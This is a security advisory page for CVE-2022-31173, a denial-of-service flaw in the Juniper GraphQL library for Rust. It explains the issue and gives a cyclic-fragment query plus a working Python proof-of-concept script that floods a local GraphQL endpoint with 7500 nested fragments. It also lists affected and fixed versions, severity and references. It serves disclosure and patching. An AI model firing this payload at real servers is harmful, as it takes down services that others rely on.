Advisory Database
  • Advisories
  • Dependency Scanning
  1. cargo
  2. ›
  3. juniper
  4. ›
  5. CVE-2022-31173

CVE-2022-31173: Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow

July 29, 2022

GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}

POC TLDR

With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:

Click to open external image

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw @MdotTIM @karimhreda

References

  • github.com/advisories/GHSA-4rx6-g5vg-5f3j
  • github.com/graphql-rust/juniper
  • github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md
  • github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb
  • github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22
  • github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j
  • nvd.nist.gov/vuln/detail/CVE-2022-31173
  • rustsec.org/advisories/RUSTSEC-2022-0038.html

Code Behaviors & Features

Detect and mitigate CVE-2022-31173 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions before 0.15.10

Fixed versions

  • 0.15.10

Solution

Upgrade to version 0.15.10 or above.

Impact 7.5 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-674: Uncontrolled Recursion

Source file

cargo/juniper/CVE-2022-31173.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:16:58 +0000.